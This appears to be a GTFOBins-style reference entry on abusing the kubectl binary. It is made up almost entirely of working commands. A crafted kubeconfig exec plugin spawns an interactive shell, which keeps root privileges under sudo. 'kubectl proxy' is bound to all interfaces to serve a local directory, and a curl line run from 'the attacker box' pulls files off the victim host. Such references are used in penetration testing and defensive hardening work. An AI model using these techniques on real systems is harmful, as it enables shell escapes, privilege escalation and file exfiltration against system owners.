kubectl

Shell

This executable can spawn an interactive system shell.
  1. CommentThe shell is spawn multiple times.
    This function can be performed by any unprivileged user.
    cat >/path/to/temp-file <<EOF
    clusters:
    - cluster:
        server: https://x
      name: x
    contexts:
    - context:
        cluster: x
        user: x
      name: x
    current-context: x
    users:
    - name: x
      user:
        exec:
          apiVersion: client.authentication.k8s.io/v1
          interactiveMode: Always
          command: /bin/sh
          args:
            - '-c'
            - '/bin/sh 0<&2 1>&2'
    EOF
    
    kubectl get pods --kubeconfig=/path/to/temp-file
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    cat >/path/to/temp-file <<EOF
    clusters:
    - cluster:
        server: https://x
      name: x
    contexts:
    - context:
        cluster: x
        user: x
      name: x
    current-context: x
    users:
    - name: x
      user:
        exec:
          apiVersion: client.authentication.k8s.io/v1
          interactiveMode: Always
          command: /bin/sh
          args:
            - '-c'
            - '/bin/sh 0<&2 1>&2'
    EOF
    
    kubectl get pods --kubeconfig=/path/to/temp-file

Upload

This executable can upload local data.
  1. This function can be performed by any unprivileged user.
    kubectl proxy --address=0.0.0.0 --port=12345 --www=/path/to/dir/ --www-prefix=/x/
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    kubectl proxy --address=0.0.0.0 --port=12345 --www=/path/to/dir/ --www-prefix=/x/
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    kubectl proxy --address=0.0.0.0 --port=12345 --www=/path/to/dir/ --www-prefix=/x/
    ReceiverAn HTTP client can be used on the attacker box to receive the data.
    curl victim.com:12345/x/path/to/input-file -o /path/to/output-file